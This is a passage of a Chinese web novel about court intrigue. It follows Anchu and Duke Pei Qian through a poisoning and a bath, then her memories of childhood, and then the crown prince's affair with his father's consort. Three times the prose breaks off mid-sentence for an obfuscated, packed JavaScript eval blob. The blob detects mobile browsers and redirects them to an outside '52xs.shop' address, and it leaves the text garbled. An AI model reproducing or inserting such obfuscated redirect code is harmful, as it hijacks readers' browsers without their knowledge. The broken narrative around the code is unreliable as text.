六殿下倒是放过了他,现在又落到国公爷手上了。 “我认识他,他是我的人。”安楚挡在时鸣身前。 裴谦不动声色地扣紧了指间的玉扳指,将安楚揽了过来,温声笑道:“得交到廷尉府仔细审了才算数。” 安楚大惊失色,当事人陡然意识到自己也是自身难保:“你要带我去哪儿?” 裴谦挑眉,霸道将人拥进怀里:“自然是打道回府。” 安楚十分确定,自己就是一只小白兔,在几只飞禽猛兽间委曲求全。 “不行!”她拒绝道,身上的蛊还没解呢,这不是先出虎穴又入狼窝么。 裴谦不容许她反抗,扛着人就上了马。 “月鸣蛊?情事中最烈最补的药,难受么?”裴谦轻嗅乌发,言语间却飘渺了起来。 活像一只摇着大尾巴的狐狸。 怀里的这位已经无暇思考了,这都是什么日子——不是拐卖就是下蛊,这不是寻常人过的日子。 裴谦半真半假嘲讽道:“大补啊,孟询这家伙无福消受了。” 安楚心中一阵恶寒,“这个……不会真的……” 裴谦逗她:“消了就好,于性命无碍。” 安楚难以接受的点就在这儿,怎么消呢? 裴谦坦然道:“自然是先这样后那样,有我在你怕什么?” 先这样后那样?就是因为有你在才会怕呀…… 安楚心态彻底崩了,眼见被扛进府,再不挣扎就真成了砧板上的肉了。 “你放开我!我不进去!救命啊——救……” 裴谦抿唇,委屈道:“你再叫,楚国公的清誉就不保了。” 安楚恶狠狠地瞪着他,浑身酸软乏力,几乎发不出一点声音。 他抱着安楚,一路走进内廊和后院。 一阵天旋地转,安楚就这么被扔进水池子里了? 安楚落汤鸡似的站在水里,已是暮春,夜晚寒凉,早生的花朵被霜打焉了头,垂着头,环水池一圈。 “我……” “清醒了吗,阿楚。” 安楚愣愣地看着岸上的人,脸上满是难以倾诉的委屈。 她伸出手,手腕上都勒出了红痕,那一截丝绸带子欲掉不掉的,松垮地缠绕在她的腕间。 安楚的手腕白如皓月,将那瘆人的伤口衬得越发可恶。 头顶的不是月亮,那是挂在天边隐在云间的硕大夜明珠。少女才是月亮,她湿淋淋地站在水间,不算狼狈,像是落如凡尘的神妃仙人。 举手投足的曼妙如同月亮洒下的柔和光晕,映亮那一方水上的灿烂华贵。 裴谦沉醉在这一片旖旎的假象中,他无可抗拒地伸出了手。 哗。 电光火石间,安楚手上动作不停歇,毫不犹豫地将他拽下了水池。 裴谦无可避免地砸进了水池里。 云沧海大惊失色:“天尊啊,清白不保了,赶紧把两位祖宗捞起来啊。” 安楚咬牙切齿地把裴谦往水里塞:“运筹帷幄,我叫你运筹帷幄!” 42.口是心非 哪怕是对方不断后退,只要不是蜷缩回壳里,裴谦都会义无反顾地发起攻势。 他天生就是战场上军功赫赫的杀神,性命就是他的千军万马,一声令下,他的千军万马会在任何时刻都会为他冲锋陷阵。 “你说这算不算,弱水三千,只取一瓢饮。” 裴谦的眼睛眯起来了,似笑非笑、带点危险的表情又飘了出来。 语气平淡,这意味着在某一方面,人人都看不见的一隅,某种情绪正在无限膨胀,无限放大。 “放开。”安楚脸色极其难看,或许是心虚,她表现得极其不自然。 手腕被解开了,但不知为什么,依旧是难以动作。 她按下心中的不安,若无其事地威胁对方:“放开,不然要你好看,叫你付出代价。” 气沉丹田,无果。 凝神聚气,无果。 安楚心中暗叫不好:莫非那蛊虫还在体内作怪?以往遇事,不能解决的抬腿便能逃,如今连逃跑的资格也被剥夺了。 裴谦的声音从她头上飘起:“我也好奇,你究竟能叫我付出什么样的代价。” 安楚微微阖上眼,忽而放松了身体,甚至往对方怀里靠了靠:“想知道?那你可以试试。” 风清云淡,不欲争辩。 临到阵前,不能退缩。 越是拿不准,越是得坚定,不能叫旁人看出端倪。 表面上的柔情蜜意,在此刻化成硝烟炮火,二人僵持不下。 裴谦不愿意撒手,而安楚这个时候确实是没办法让他好看。 两人相互试探,像是涨满春潮的雨水淹没新草的头顶,溺毙的潮湿裹挟着两人。 那氛围的焦灼看不见摸不着,换作平时安楚早就拔刀相向鱼死网破了。 云沧海一脸严肃,此时此刻十分识相,招了招手,隐藏在暗处的侍卫都退了下去。 他嘱咐老管家:“别看了,眼里没活儿就听我吩咐——去收拾两套干净的衣服,拿去别苑汤池,一会儿让两位祖宗好好驱寒。” 裴谦垂眸,缓缓将目光落到安楚的脸上:“阿楚,安分些吧。” 安楚冷哼,反问道:“我还不够安分么?” 裴谦轻描淡写:“阿楚,你的心跳声很快,我感受到了。告诉我,你现在心里在想什么?” 心脏的跳动有力而缠绵,像是远山传来最原始最野性的呼唤。 他觉得自己快要疯了,明明他自己的心跳声、呼吸声也都是乱的,但他偏要安楚面前找回主动权。 安楚偏过头去,表示拒绝回答。 她心道,当然是在想自己什么时候才能恢复,现在的她已经是手无缚鸡之力的弱势女子,这样的话能让他知道么?真是笑死人不偿命。 “你天天很闲吗。”安楚哼了一声,终于问出了困扰她已久的问题。 裴谦没料想她真的会回答,虽不是预料中的那般尽人意,但是还配合地回答了:“当然不,为什么会跟你流落荒野,当然是做事得罪了人,这才遭人暗算一路流离失所。” “阿楚,流离失所的日子你还想继续吗?如今的世道,你难道不想安定下来?”他唇角泛起熟悉的笑意。 安楚的手不自觉地捏紧了:“国公爷觉得,我该怎么安定?” “嫁给我,最妥当。” 安楚愣住了,在这刹那,她猜想了许多事——彼时多事之秋,李素死的正是时候,连带着给那些势头强劲的世家一个下马威。 死了一个李素,整个郢都的布局都随之发生了改变,皇帝急需维持多方势力的平衡,力保各方势力旗鼓相当。 新贵既不能过近,又不能太远。 过近那便扶持皇子,于太子不利;过远那便是扶持新世家,更不可信。 既是殊荣,又是险境。 裴谦,这位门楣落灰的老派贵族赫然登场,不远不近正是最佳人选。 这位皇帝精挑细选的新贵是否在郢都能搅动一番云雨,许多人都等着看笑话。 安楚天生爱操心,且爱操无用之心。 她就不明白了,这个多事之秋,裴谦他是怎么有心情四处逗趣的,这是什么恶趣味? “六殿下认出我了,到时候你与他政见不同,闹大了我第一个被拖出来顶死,这不是你们惯用的杀鸡儆猴吗?”她冷静反问。 安楚都能预见到将后来,孟询和裴谦两方大打出手的时候,两人将陈年旧事翻出来相互攻击软肋。 两人曾经为了一个女人大打出手,要么是这个女人狐媚惑住,要么是这个女人吹枕头风破坏兄弟二人的团结。 好事想不到女人,一有什么坏事就全往女人身上推。 “算了,是我思虑欠周,我先带你去收拾一下,这一身肯定不能穿了。”裴谦似乎是轻轻叹息了一声,随即将人抱得更紧。 离去的身影在湖光上涣散,最后只剩下一个小小的光点。 裴谦将她抱住毫无压力,只觉得怀里的人儿太轻。 这个世道的女子,有几个能像她这样抛头露面,出入秦楼楚馆,像一个游侠流浪在外。 温泉水冒着泡,水并不清澈,雾气氤氲看不清房内的布局。 安楚终于安全落地,她揉了揉酸痛的手腕和脖颈,看着眼前的热汤感觉浑身的寒气都要冒出来了:“没有单池吗?” 裴谦轻笑道:“泡温泉若是一个人泡,那该少了多少趣味。” “……”安楚有的时候觉得一个人真的挺无助。 裴谦哑然失笑,心想这姑娘表面刻板坚硬,说到底也是可爱的,“骗你的,温泉的热力涌上来有助于蛊虫药力失效,若是失控,我能看住你。” 他走到池边,将湿透的繁复外衣脱了,层层叠叠的衣袍坠地,转眼间只剩下一层里衫。 裴谦镇定自若,眼角眉梢都含笑:“其实,你若是选择和衣而浴,也不是不行。” “那你……你怎么都脱了,不要脱了!”安楚磕巴地用手挡住眼睛,指缝间却又不小心多看了几眼国公爷的身材。 裴谦率先跃入汤池,水打湿的内衫紧贴在身上,领口敞开着,露出修长的脖颈和玉色的肌肤。 线条紧致,纹理清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295175|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰,在水中显得秀色可餐。 “你不看不就好了。”他偏头的角度恰到好处,暖光落到他的侧颜侧颜朝她伸手,耐心地引导着她,“下来吧。” 那双手掌纹清晰,颇具力量感,那枚玉戒在不同的光下折射出不同的颜色,轻盈的薄荷绿沁人心脾,让人将目光都集中在那一处。 玉戒连带着这双生着薄茧的手,像一件大师遗存于世的艺术品。 安楚握住他的手,那一拽并没有很用力,但她兴许是被热气和硫磺味熏迷糊了,就势踩进了汤池里。 屋内涌动着乌白的热气,远近朦胧,裴谦悄悄将目光从她脸上移开。 得不到回应的国公爷只能心中独自落寞,只期盼着负心人能瞧见他的黯然神伤。 可惜安楚不是那种拘泥小事的人,这种欲情故纵的把戏放到谁身上,只要不是木头,都会经不住诱惑。 而安楚,恰恰是那万里挑一的木头。 火红的外衣材质是香云纱,质料谈不上有多华贵,但寻常人家不可多见。 那纱浸水后轻透飘逸,在水面上如一尾灵动的金鱼。 安楚斟酌着将碍事的衣物褪去,乌发散开,将敞开的领口半遮掩着,只露出一抹莹润的肌肤,锁骨的凸凹恰到好处,瞧得人心痒。 不知靠上去甚至亲吻上去,会是如何销魂的滋味。再往下便是……再往下便非君子所为了,裴谦自觉瞥开目光。 没想到半柱香的功夫,沉重的身体一点点恢复轻便,而一直凝滞的气也开始运转。水温恰到好处,肌肤不耐受热,生出淡淡的粉红。 裴谦离她有几丈远,他不急于趁人之危,虽是男女共浴,但也把持着分寸。 她心中突然生出一些诡异的感觉,背后冷飕飕的,刹那间好像自己被强行剥离出这个汤池,重新扔到冰冷的荷塘里。 刺骨的冷像一把钢刀插进她的肌肤骨缝间,暴烈的痛爬满她的身躯。 恍惚着,安楚好像看见了那一年的江南大雪,漫天的雪落满少女枯黄的头发上,手露在外面瞬间变得通红。 这一路颠沛流离,难民衣不蔽体也实属正常,只是这样的严冬不知道要夺去多少人的性命。 “好姑娘,你不要死了……我云儿的命换的你,你不要死……” “阿娘……” 安楚好像又听见阿娘的声音,荆岫云一直在哭,她冰冷的手握住另一只透骨凉的手,哭得浑身颤抖,涕泗横流的模样可怜极了。 她抬手,想要碰一碰母亲,眼前的画面骤然烟消云散。 安楚靠在石壁上,眨眼间有些神情恍惚,耳边空鸣声,如泣如诉。 不单单有她母亲的,身前身后夹杂着乱世之中难民的哭喊,还有战场之上刀戈相撞、血拼肉搏的嘶喊声…… “阿楚!” 她伏在裴谦的肩头,热血涌上心口,难以遏制地淌了出来。 血花溅落,落在水中染出一片怪异的红,又在顷刻间消散。 美人香软如玉,裴谦脑子里生不出一星半点旖旎艳俗的想法,一把捞起腿软下滑的女孩。 43.吻月(1) 这是一场冗长杂乱的梦,安楚呆愣愣地站在原地,无法动弹。 那是一潭深幽的静水,湖面如镜,她站在那里渺小如一粒尘埃,在视野的不断拉近下,才能看清她脸上细微的表情。 安楚想,自己是不是死了。 死后的世界这么安静,这么辽阔,苍茫茫大地只剩她一个人。 她低头伸手,仔细看自己掌心的脉络,看了半天却又没想起来自己要看什么。 血气在她四肢血脉中窜动,像洪水猛兽那般,吞噬她的意志。 真好笑,一辈子没做过什么,莫名其妙就死了。 扑通。 落水声巨大,安楚眼底一黯,身临其境那般被砸进了水里。 眼前的场景像融化的饴糖,淡黄色的糖浆从四面缓缓滑落,安楚被一股重力摁进水里。 猝不及防,来不及无法反抗,也无法反抗。 小小的身体……背后是一双极其残暴的手,像铁浇铸的雕塑。任凭她怎么挣扎都没有用,口鼻呛入越来越多的水,空气越来越稀薄。 哗—— 小小的姑娘被拎出水面,甩到一边的地面上,她呛出一口水,肺部骤然涌入一大口新鲜的空气。 耳边响起清脆跋扈的女声。 “你带着她回来做什么?一个麻烦带着一个小麻烦。要想再给你找户人家怕是难了,满城达官显贵,谁会要一双人家穿过的破鞋。”荆夫人冷眼睥睨着地上死鱼似的小姑娘。 “我愿意养着她,我一辈子不嫁人……夫人,她只是个孩子,一路上,我们就这样走回郢都。”荆岫云眼睛有些发愣,眼神里看不见光,死气沉沉一片灰,她缓缓站起身,身上衣衫凌乱,好似是刚挣脱束缚。 她平静地流着泪,比划着抱在怀里的襁褓,她祈求自己的弟媳不要对这个孩子下毒手:“一路上多难啊,命都给阎王了,如今好不容易活下来,你们却要溺死她……” 荆夫人捏着一角帕子:“说了让你嫁去青州,给那个姓崔的刺史当填房,非得矫情。以后在院子里当老寡妇,可别怪做兄弟做弟媳的不管你。” 荆夫人颇为嫌恶地抽回衣袖,拍了拍衣袖上根本不存在的尘埃,冷笑道:“也不知道怎的,生的儿子突然还变成闺女,也不知道是谁的种。本来就是个短命鬼,不如早点了结了。” 荆岫云抽泣着,她的一双手腕被刁奴紧攥着,脆弱的眼眸里充斥着麻木的眼泪:“她还能活……她不能死……” “舒儿……我的舒儿……” 可舒儿是谁?安楚头痛欲裂。 她伏下身子,痛苦地在自己的记忆里自仔细搜寻。 那个时候她还是荆家的表小姐,名义上的半个主子过得不如厨房的烧火丫头。 母亲卧病在床,万事得靠自己。 小姑娘性格天生烈,不说万事争第一,被人欺负了定要分个对错。 可是在大宅院里能有什么对错之分,只有软硬之别。 谁得势,谁就是对的。 后来被教训老实了,活像一块搓捏成形的糯米糕,这个路过拍一拍,另个路过揉一揉。 小姑娘一副怯懦的样子依旧不讨喜,该受欺负还是受欺负。 她由此得知,在这大宅院里,弱者的存在本身就是错误,不会有谁看着你可怜就怜悯同情你。 日子过得不如意的人,将弱小踩在脚底的欲望更加强烈。 但她不想给母亲惹麻烦,别无他法只能将所有受的欺负和冤屈一一咽下。 跪祠堂,扫街雪,吃馊饭馊菜,为母亲讨药受尽白眼…… 后来她好不容易有了一条小狗,却被活活摔死了。 “小杂种养小野种,真有趣。” 她一拳砸进对方的脸上,然后被吊到树上挂到后半夜。 天快亮的时候才被人发现。 她不爱看街上流传甚广的美人英雄话本子,她不是美人,更不会有有英雄在关键时刻拉她一把。 画面一转,眼前画面缓缓展开,她又来到了室内。 安大柱佝偻着背,看着比记忆里还要苍老,风扬起他的幂篱,底下露出一张丑陋得可怕的脸,熟悉又陌生。 他耷拉着脸,苦声道:“这孩子,委屈夫人您了。” 荆岫云依靠在床头,身上披着一件洗得发白的长袍,一脸病容,脸颊苍白得有些可怕:“若是没这孩子,你根本就不会出现在那条官道上,要这么说来,我得感谢安大侠你的救命之恩,要是没有你,我早死在那条道上了。” …… 室内寂静了下来,小小的女孩蜷缩成一团,睡在榻边的矮脚椅上,身上披着一条薄毯,半梦半醒,睡着并不安稳,时不时还皱着眉。 “我没什么想法,虽与她没有血缘关系,但我会将她视作己出,只盼着她平安长大,觅得良人,找个好婆家。她决不能像我这样……一辈子为了别人活,到头来一无所有。” “夫人,安家和谢家会记得你的大恩大德。” 荆岫云狠狠抓住安大柱的胳膊,手背上的青筋都在颤动:“我不要你们记得什么大恩大德,只求你不要把她带走了……我除了她一无所有,我不能没有这个孩子……从前的那些事,不要向她透露半个字……” “夫人不要忧心,我无颜见她,还有她的母亲,她母亲肯定恨透了我……怎么可能愿意我再……唉,夫人保重,每一年的开春时节,我会来一趟郢都,我会想尽办法治好她。” “舒儿是谁……”安楚已经分不清现实和梦境,她翕动着嘴唇喃喃道,“娘,我究竟是谁……我是谁……” 安楚跌跌撞撞地走向门边,那位酷似安伯的老头儿已经夺门而出,她追不上。 她明白,这一刻追不上,或许这辈子都追不上了。 “别走,你是谁——” 男人回过头,那张丑陋的、熟悉的脸赫然出现在安楚面前,饶是她做好了准备,但还是被吓得够呛。 那一双眼悲戚绝望,同样是死气沉沉,如吹灭火星的死灰。 不……安伯不会这样的人,他精明狡诈,喜欢作弄她,是一个可恨又可爱的老头儿……这绝对不是安伯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314980|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她伸手抓住眼前的老头,眼前却天旋地转。 是悬崖! “不要……”她一脚踩空,惊出一身冷汗,竟失声喊了出来。 “阿楚!你醒了么?”裴谦惊醒,握紧她的手。 安楚手指动了动,气息有些微弱,吃力地吞咽一口,喉间腥甜,回味带着苦,应该是昏迷的时候有人给她喂了汤药。 眼前的场景逐渐清晰明朗,她眼底发酸,生理性的泪水不由自主淌了下来,惹湿了眼眶。 “可有哪里不舒服?不舒服得告诉我。”裴谦的脸贴在她的手背上。 安楚觉得有些硌手,仔细看来,裴谦疲倦的脸上竟生出了青色的胡茬,她皱了皱眉,手腕无力,执意挣脱裴谦的手。 裴谦下唇颤了颤,似是有些不解和委屈。玲珑剔透的心肝也经受不住这样的拒绝,他的心好像成了一片赤裸的毛玻璃,将原本的血肉割得模糊一片。 她还是不肯接受他的好意,他的心疼是真心的,可她全然不知。 昏迷的两天两夜里,裴谦衣不解带,期间不见任何人——若是没有云沧海,他的亲姐姐差点把门都砸开了。 他看着她沾血的脸庞,默然擦拭干净。他在怜惜,在试图感同身受。 “你……你要不然再笑笑……我这不是还活着么……”安楚咬着虚白发干的嘴唇,手心轻轻地摩挲着他的下巴。 玉珠一般的人儿,肌肤比明月还透亮,下巴沾的药渣太过碍眼。 她自己也没察觉到,自己气若游丝的语调里含着一汪心疼的柔情。 裴谦眸底一亮,那一抹亮光火热而赤忱,死灰复燃一般重新跃然眼底。 安楚手的动作比脑子运转的速度快,正待她反应过来自己说什么了做什么了,手指顿时僵在了原地。 正欲缩回,裴谦却又一把握住了,他内心一阵激荡。 “我真的害怕,你要是真的醒不过来了……”他将脸伏下去,鼻尖触及柔韧温暖的肌肤,少女的馨香,混杂着浓烈的药苦味和淡淡的血腥味,扑面而来。 “可你为什么对我这么上心……” 轻轻一吻覆到安楚的唇上,如蜻蜓点水的一吻,却在心里掀起澎湃热浪,高涌的热情几乎在血脉里疯狂叫嚣。 “阿楚,这就是我的答案。” 倒映在眸子里的细腻和光滑,叫他怎么形容呢,他想索取更多。 她的唇是冷的,拢入鼻腔的香后知后觉地迸发,馨香透骨,是少女独有的香味。肌肤与肌肤的相触,是柔软的、令人怜惜的。 身下的人微微一震,裴谦已经做好对方挣扎的打算。 人正病着,他并不想牵动她的伤痛。 可她竟然闭上了眼,裴谦心中一动,不可置信的同时,胸腔内涌动着更加激昂的喜悦,稍稍一停后骤然猛烈起来。 她是夜风里吹冷的一块香玉,洁白的,捂不热。他朝着那一轮月光靠了靠,凑近了,想要清凉一下自己火热的心绪。 亲吻失去了原有的意味,他在撕咬,在掠夺,在侵占,想要在她身上索取更多。 44.雨夜 泰安殿。 夜来风雨声阵阵入耳,浇湿的殿前一片空地。 知暖花来去匆匆,自由如风,落了一地,被雨淋得晕头转向,谢得太过匆匆。 鹅黄暖色的花瓣淅淅沥沥铺满了殿前的小道,夜深之处,一人一身玄衣,踱步淋着雨走着,一路虽慢,却从没停下脚步。 他不撑伞,也不允许下人给他撑,冒着雨走到了泰安殿的朱门前。 殿内灯火明灭,铜灯里的灯花已经修剪过一轮。 八宝缠枝金雀巢状的熏炉升起袅袅青烟,木香熏染的暖意弥漫在冷清的宫室内,显得有些寂寥空落。 乐玉檀近来有些精力不济,上次罚跪元气大伤,至今还没缓过劲来。她斜躺在晃悠悠的贵妃椅里,听着外面的雨声,不知不觉便有了困意。 “殿下!” 她陡然惊醒,门外是岚嫣的声音,杯盏落地,清脆的碎瓷声让她警觉起来。 “谁敢拦我进殿?孤乃东宫太子。” 乐玉檀未站起身,手上正拿着本书,烛火葳蕤,将偌大的宫殿照亮,她顺手撂下古籍,淡声问:“你来做什么?” 太子象征性地行礼,周围的侍女太监们乌泱泱地跪了一片。 “住得还习惯么,娘娘。”他问。 掌灯伺候的宫女太监们鱼贯而出,纷纷退出宫外。 烛火黯淡轻晃,模糊了人影。 太子孟成则最看不惯这女人泰然自如的模样,她冷漠、倨傲,好像对什么事都不上心。 他这才发觉,自己对这位青梅的认识少之甚少。 曾经他以为,总有一天,他们会缔结婚约,不说相敬如宾,但肯定可以白头到老。 但她食言了,孟成则不知道是谁有错在先,从彼此相依到如今的形同陌路。 一步步走来,他们倔强背离着,走了许久谁也不曾停下。 乐玉檀疲惫地捏了捏眉心,眼眶颇为酸涩,“当初,就是因为你,因为你的无用,我迫不得已入宫。如今,你还这般死缠烂打,将政务和清誉置于何地?你要无理取闹到什么时候。” 孟成则只觉得自己喘不上气,一块巨石压在自己的胸口,“孤就知道,你嫌孤无用,你就非要当这个宠妃吗,你知道外边的人是怎么说你的?” 像一根小刺扎进心口的肉里,慢慢愈合,包裹着尖刺长进肉里,疼痛在瞧不见的地方发作。 时而尖锐,时而闷痛,那是藏在血肉之下的沉疴恶痛。 “那又如何?”乐玉檀的肩膀被抓得生疼,她咬牙拂开对方的手,“” 她直直望着他的脸,厉声道:“我们乐家,还有我,在郢都、在这些朝臣面前,俨然成了笑话。我已经没有体面了,你为什么还要来一遍遍提醒我?” 乐家忠于王皇家,但下场是什么,全族覆灭,只剩下无足轻重的女眷,这一辈只剩一个乐玉檀。 一个毫无仰仗的孤女,在郢都的风云里不可能独善其身。 皇室无法庇佑她,世家大族也将其视作另类。 乐玉檀就像是一面象征耻辱的降旗。 她行尸走肉一般活着,入宫为妃,看似皇恩浩荡,实则是昭告天下,与世族作对,这便是下场。 偌大的家族只剩一个孤女,孤女也就罢了还得进宫伺候老皇帝。 家族兴荣发展尚且要数代人的接替,而覆灭只需顷刻的一念之间。 “我们从小便有婚约,你为什么就不能等等我?” “我如何等你?太子殿下,” 乐玉檀办不到,她的家族系给了君主,可懦弱无能的君主无法使他们周全——她已经没有家了,没有双亲兄姊……可是无人在意,过了这么些年,许多人都已经不记得了。 乐家的忠诚和文人风骨,像是拂过尘烟的一阵风,刮一刮就没了。 “都是你逼我的,你们都在逼我,我能有什么办法。”乐玉檀气得浑身发抖,眼角微微泛红,似是胭脂艳丽的红痕,眼底的湿润不知是委屈还是生气。 乐玉檀淡然转身,闭上了眼,摁压住胸腔中的一顿狂风暴雨,她不愿看见任何扰乱心弦的事物。 她道:“多说无益,殿下请回吧。” 孟成则知道,自己不在她的选择之中。 失落像一把冰刃,插进他的胸腔里,刺骨的冷和血肉模糊在一起,痛得鲜血淋漓。 除了太子的头衔,他一无所有。 乐玉檀捧着茶盏,玉白如葱的纤细指尖翻转,那滚烫的茶水溅了一地,茶汤清亮,馥郁芬芳扑面而来。 年轻女人站在高阶上,好像手中捧的不是茶盏,而是象征权柄的印玺。 华服千重压在她的身上,似是给她镀了一层晦暗不明的金辉,与之相称的是与生俱来的威严,教她不像个女人。 他觉得陌生,明明是一起长大的青梅,那张娇俏如花的脸庞已经褪去了青涩稚气。 她的发髻插着冰冷的金玉翠羽,华贵得不可方物,当初那个稚嫩纯真的孩子已经被权力吞噬,在争权夺利的漩涡里越卷越深。 宣贵妃,她是父皇的妃嫔。 太子爷深吸了一口气,只觉得肺腑之间如炽火蒸烤,一时间竟忘了眼下应该做什么。 明眼人都能瞧出来的逐客令,他不仅不放在眼里,偏偏还硬往上凑。 “太子!”乐玉檀呵令制止道。 他视若无睹,步步紧逼,脚下的金丝暗纹软毯让每一步都显得不切真实,好似踩在云上,那种柔软的触感像是在树下打盹做的一场梦,他不想醒来。 乐玉檀退无可退,她有些愤懑,脸颊绯红,鼻尖生出薄汗。 此情此景,他心中竟生出冒犯之意。 “孟成则!” “我是你父皇的妃,是你的……”她喉头发紧,回过神的时候周边的贴身侍女退下了。 此刻,殿内只剩他们两人。 步摇玉穗相撞,交缠在一起,一时半会儿解不开。 她的躲避显得有些惊慌失措,有些孩子气。 “对,我是太子,孤是太子。”他不怒反笑,不由得庆幸自己还有个太子之位。 普天之下最难当的莫过于这个太子,所有人都眼巴巴地看着储君,盼着他爬得高跌得惨。 孟成则将她拉进怀里,不由分说地吻上她的唇。 这个吻带着怨怼和报复之意,他心中不满,他恨她不辞而别,恨她攀龙附凤……恨她居然没有一丝不舍,将他弃之如敝履。 若即若离,乐玉檀像是陷入潮湿的泥泞,她被拥入怀中,猝不及防的贴近让她感受到前所未有的恐慌。 她抗拒,却又弥足深陷,无法自拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346685|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你疯了!孟成则!” 孟成则将她抱得更紧:“是,我早就疯了,乐玉檀,你又不是第一天认识我,我就是疯了。” 乐玉檀声音有些发颤,她压低声音道:“无法无天,你将礼法置于何地?” “礼法,礼法算什么东西?礼法,纲常,那些人的眼光,都统统见鬼去吧。” “我瞧你也是无法无天,怀有身孕,父皇都不曾碰过你,你如何能有身孕?”他捧起乐玉檀的脸,目光幽幽如炬,黑沉的眸子像是一四四方方的笼,将她困在其中。 乐玉檀朝着他笑了笑,笑意残忍带着几分畅快,她道:“那又如何,皇城之中,流着真龙血脉的人又不止一人。” 可分明是他置礼法于无物,非得将她一同拽进弱水。 “是么,娘娘不如就为陛下再生下一个继承人,到时候让父皇给我赐个体面的死法,所有人都高兴了。” 乐玉檀心上像是开了一个巨大的口子,奔涌的热血冲刷着锋利言语破开的伤口,她嘴硬道:“你想怎么死就怎么死,你死了便死了,不会有人为你掉眼泪的。” 他并非不懂,王家更愿意辅佐一位好把持的幼主,而非他这样不受摆布的纨绔皇子。 溺毙的情爱,重新焕发生机。 连同着疼痛和怨恨跃然眼底,他拽紧梦寐以求的少女,描摹她又薄又淡的唇。 衣衫悉数坠落在脚边,华帐层层叠叠,如远山云雾。 云鬓散乱,香汗淋漓。 “你恨我吧,没有爱,你对我,哪怕是恨,我也心甘情愿。” 回不了头了,乐玉檀闭上了眼,这一刻的欢愉是真实存在的。 有太多托辞,乐家满门风骨都压在她一个人身上,她不得不恨。 她恨这个世道,恨如狼似虎的世家——那些上书进谏的言官,数落着乐家欺君谄媚、卖官鬻爵……也恨薄情寡恩的皇家——君王的制衡之道,让他们全权买单。 玉堂金阙,深宫华堂。 此刻共沉沦。 雨夜阴绵,月色模糊。 岚嫣跪道:“回禀圣上,贵妃娘娘……她身体不适,晚膳后便宣了太医,太医说娘娘本身就身体不好,加上近日忧思过度,得好好静养。” 老皇帝语气平淡,威严而庄重,手中把玩的青玉珠串哗哗轻响:“开了什么药没有?” 岚嫣道:“是一些安胎养血的药,娘娘用完药已经睡下了。” 她不敢抬头,伏在地面深深叩拜一礼。 老皇帝心中默然叹了口气,近日的朝政琐事繁多,他年纪大了,许多事也是力不从心。 形中书院重新起用,要花费许多心思,裴谦罢朝几日了,称病在家好几日了还是没有音讯,可见这小子不是什么省油的灯,要他心甘情愿摆平书院的烂账不是一件容易事。 老皇帝也算是看着他长大的,那孩子心性高傲,但终归只是个秉性良善的孩子,文武都不在话下。 若是自己的太子有那孩子一半的担当,也不至于让他殚精竭虑多年,依旧放心不下。 他手中的青玉珠串垂着半截金色的丝穗,在雨夜里也染上了潮:“既然如此,那便去皇后那儿吧。” “起驾。”公公佝偻着腰喊了一嗓子,太监尖细的声音在夜晚的宫殿间徘徊悠荡。 45.民生难为 尚书台。 宫阙万间为屏,映衬点点闪烁的烛火微光,那是铜灯里跳跃的焰火,在深沉的长夜里寂静绽放。 又是一个不眠之夜。 臻县和樵县发生了水患,尚未入夏,这个时段发生水患几乎是不合常理。 问责两县的县令后,灾民安置成了问题。 几位手握大权的老臣相互推诿打太极,眼看就要入夏,灾民不安置好,极有可能爆发瘟疫,亦或者发生动乱。 民生之事迫在眉睫。 年轻女人一袭灰白相间的常服,坐在书案前,她面带倦容,这几天加起来不过睡了两三个时辰。 在确认弟弟裴谦还活蹦乱跳鼻子还能出气后,她就势巡视城郊近三十里的荒地,饿殍遍野,惨不忍睹。 裴欣坐在尚书台,望着眼前一碗清亮解腻的茶水不由得心惊肉跳。 她闭上眼似乎又能看见奄奄一息的孩子倒在自己的脚边,他很快就断了气,裴欣搀着他瘦弱的胳膊,告诉他很快会有人来救他,再坚持一下就好。 那个男孩一双空洞的眼眸盯着她,苍白的薄嘴角翕动了两下:“就剩我一个人了……” 那孩子的年岁跟自己的弟弟相差无几,他是谁家的好儿郎,又是谁家的顶梁柱,这些问题都在他倒下的那一刻戛然而止。 裴欣看见的都是歌舞升平、日夜笙歌的太平盛世。 那粉饰太平的金银玛瑙地毯下藏尽了死尸枯骨。 崔堇眼神阴恻恻的,半夜三更,还跟着一群老家伙在尚书台议事,前所未有的盛况。 也就只有新官上任的愣头青才敢这么做。 众人能给她这个面子,是因为她楚国公家大小姐的身份,与如今的楚国公同承一脉。 从小养在皇宫,据传闻,本是照着太子妃的要求养在先皇后身边的。 可惜回马桥事变,废太子罹难,先皇后也蒙辱自尽。 到了出宫的年岁,老皇帝也没有放她走的意思,最终裴欣留在宫中做了女官。 